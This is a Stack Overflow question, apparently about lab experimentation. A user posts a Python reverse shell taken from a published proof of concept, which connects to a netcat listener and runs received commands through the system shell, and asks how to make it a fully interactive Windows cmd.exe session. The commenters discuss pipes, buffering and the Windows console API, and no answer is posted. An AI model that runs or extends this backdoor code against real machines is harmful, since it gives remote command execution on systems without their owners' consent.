1

I was playing around with this on Windows, with netcat listening on a second device:

#!/usr/bin/python

import socket
import subprocess

HOST = '192.168.225.136'    # The remote host
PORT = 443            # The same port as used by the server
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((HOST, PORT))
# loop forever
while 1:
    # recv command line param
    data = s.recv(1024)
    # execute command line
    proc = subprocess.Popen(data, stdout=subprocess.PIPE, stderr=subprocess.PIPE, shell=True)
    # grab output from commandline
    stdout_value = proc.stdout.read() + proc.stderr.read()
    # send back to attacker
    s.send(stdout_value)
# quit out afterwards and kill socket
s.close()

Source: https://www.trustedsec.com/files/RevShell_PoC_v1.py


Is there a way to spawn a fully interactive cmd.exe shell? I can't even run the time command without it locking up because it expects input. Any command that expects input will just cause it to stall until ^C.

It would be nice to have the little prompt (i.e. C:\>), tab completion, history, like a proper tty. I've found a few techniques suitable for /bin/sh and /bin/bash on Unix & Linux but nothing so far for Windows cmd.exe.

martineau
  • 119,623
  • 25
  • 170
  • 301
voices
  • 495
  • 6
  • 20
  • 1
    You might be able to do something with Python's built-in [`cmd`](https://docs.python.org/3/library/cmd.html#module-cmd) module. – martineau Feb 28 '19 at 14:33
  • @martineau `cmd` won't help here, it's not meant for interacting with external software. – AKX Feb 28 '19 at 14:34
  • 1
    You're spawning a program, then reading all of its output and sending it back. Instead, you'll need to read chunks -- probably lines -- of output from the program to send them back, wait for input from the user to send to the command interpreter, etc. It's more than is in the scope for a single SO answer, but it's certainly doable. – AKX Feb 28 '19 at 14:35
  • 1
    Yes it could because you can customize it. Look at the `TurtleShell` shown in the [Cmd Example](https://docs.python.org/3/library/cmd.html#cmd-example) in the documentation. – martineau Feb 28 '19 at 14:36
  • [Here's](https://pymotw.com/3/cmd/index.html) some more examples of deriving your own `class` from it. – martineau Feb 28 '19 at 14:39
  • 1
    You have 2 ways here: 1. spawn one single CMD.EXE, feed it with what comes from the socket and copy all that could come from stdout or stderr to the socket. Beware of blocking calls, or use one thread for each side.2. Implement a full featured shell and spawn external commands, one at a time. I currently cannot guess what option you want, and anyway, I am afraid that in any case, the question is still rather broad. – Serge Ballesta Feb 28 '19 at 14:50
  • 1
    It's possible to get the CMD shell working with a simple pipe redirection, if the Python side uses line buffering and ends lines with CRLF. But most console programs will not work interactively with piped standard I/O because they switch to full buffering automatically, so your shell will be nearly useless as an interactive environment. Also, forget about tab completion and history, unless you're implementing it all from scratch and reading from the pipe character by character. The CMD shell relies on the console for those features. It doesn't use an in-process library like readline. – Eryk Sun Feb 28 '19 at 23:02
  • 1
    The way other programs (e.g. ConEmu or winpty) have accomplished this in a more comprehensive and functional way is to run the console program without redirection, attach to its console, and use the console API to write to the input buffer and read the active screen buffer. The latter is not trivial since console programs can update any region of the screen buffer (up to 9999 lines) at any time. Windows 10 1809 makes this much easier with the addition of [pseudoconsoles](https://learn.microsoft.com/en-us/windows/console/pseudoconsoles). – Eryk Sun Feb 28 '19 at 23:10
  • @SergeBallesta seem's relatively specific to me. You know how when you use `SSH`, it works like you're just sitting there at the remote device? It's nice. The prompt even changes colour and interprets the `$PS1` and everything. I know Linux & Windows are pretty different but still. I don't know how collect that information from *x* and deliver it to *y*. Doesn't matter if your solution is wonky or incomplete or even wrong. It'll surely help me in some way or another. Then if I eventually figure it out, I'll just provide an answer myself. – voices Mar 01 '19 at 10:45
  • @eryksun that's interesting. I thought that was essentially what I was doing (attaching to the console). If you could elaborate it might make a great answer. – voices Mar 01 '19 at 10:48

0 Answers0